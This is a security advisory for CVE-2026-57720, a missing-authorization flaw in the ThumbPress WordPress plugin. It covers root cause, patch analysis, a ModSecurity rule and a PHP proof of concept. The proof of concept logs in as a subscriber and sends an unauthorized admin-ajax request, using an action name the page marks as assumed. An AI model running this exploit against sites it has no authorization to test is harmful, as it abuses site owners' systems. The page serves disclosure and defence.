Published : July 20, 2026

CVE-2026-57720: ThumbPress – Compress Images, Manage Thumbnails, Detect Image Issues, WebP/AVIF, Lazy Loading, Hotlinking & More <= 6.3.2 Missing Authorization PoC, Patch Analysis & Rule

Plugin image-sizes
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 6.3.2
Patched Version 6.3.3
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57720:
This vulnerability involves missing authorization in the ThumbPress plugin for WordPress, affecting versions up to and including 6.3.2. The core issue is that several AJAX handlers and helper functions lack proper capability checks, allowing authenticated attackers with subscriber-level access to perform actions restricted to administrators. The CVSS score is 4.3 (Medium).

Root Cause:
The primary root cause is the absence of a capability check in the `dismiss_pro_outdated_notice()` function in `/image-sizes/app/Bootstrap/AdminNotice.php` (line 48, vulnerable). This function previously called `update_option()` and `wp_send_json_success()` without verifying the user’s permissions. Similarly, multiple other files lack checks: the `image_sizes_dismiss()` function in `/image-sizes/legacy/app/AJAX.php` (line 84) had no capability check, and the `hide_notice()` method in `/image-sizes/legacy/classes/Notice.php` (line 124) was missing a `current_user_can()` call. The `is_admin()` method in `/image-sizes/app/Traits/Auth.php` (line 76) used `current_user_can(‘administrator’)` instead of the more specific `manage_options`, which could allow sandboxed users to bypass restrictions. Several AJAX handlers in the convert-images module, such as the one in `convert-images.php` (line 354), also lacked capability checks before executing privileged actions.

Exploitation:
An attacker with subscriber-level access can send a crafted POST request to `/wp-admin/admin-ajax.php` with the action parameter set to the applicable AJAX hook (e.g., a hook calling `dismiss_pro_outdated_notice`). The request does not require a valid nonce or any capability validation in the vulnerable versions. The attacker can specify arbitrary meta keys or options to update, such as `thumbpress_pro_outdated_notice_dismissed`. This allows the attacker to dismiss administrative notices or potentially manipulate other options if similar unprotected functions exist. No specific payload is needed beyond the standard AJAX parameters.

Patch Analysis:
The patch adds `current_user_can(‘manage_options’)` checks to multiple functions. In `AdminNotice.php`, the fix inserts a capability check and a nonce verification before the `update_option()` call. In `AJAX.php`, the `image_sizes_dismiss()` function now requires `manage_options` capability. The `hide_notice()` method in `Notice.php` receives both a capability check and a nonce verification. The `is_admin()` method in `Auth.php` changes from checking `administrator` role to checking `manage_options` capability, which is more precise. Nonce verifications are also improved by adding `isset()` checks and using `sanitize_text_field()` and `wp_unslash()` on user input.

Impact:
Successful exploitation allows authenticated attackers with minimal privileges (subscriber) to perform unauthorized actions, such as dismissing administrative notices, which could disrupt administrative workflows or hide warnings. More critically, the missing checks in the convert-images module could allow arbitrary file operations or image conversion tasks. This could lead to data exposure, denial of service, or further privilege escalation if combined with other vulnerabilities.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57720 AJAX missing authorization via thumbpress_dismiss_pro_outdated_notice',severity:'CRITICAL',tag:'CVE-2026-57720'"
  SecRule ARGS_POST:action "@streq thumbpress_dismiss_pro_outdated_notice" "chain"
    SecRule ARGS_POST:_wpnonce "@rx ^$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57720 - ThumbPress <= 6.3.2 Missing Authorization

$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'subscriber'; // Low-privileged user
$password = 'subscriber_password';

// Authenticate and get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);
curl_close($ch);

// Extract nonce from login? Not needed for missing authorization exploit
// Dismiss the pro outdated notice (missing capability check)
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, 'action=thumbpress_dismiss_pro_outdated_notice'); // Assumed AJAX action hook
curl_setopt($ch2, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch2);
$http_code = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);

echo 'HTTP Response Code: ' . $http_code . PHP_EOL;
echo 'Response Body: ' . $response . PHP_EOL;

// The response should be a JSON success indicating the option was updated.
// If the patch is applied, the response will be an error JSON.

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School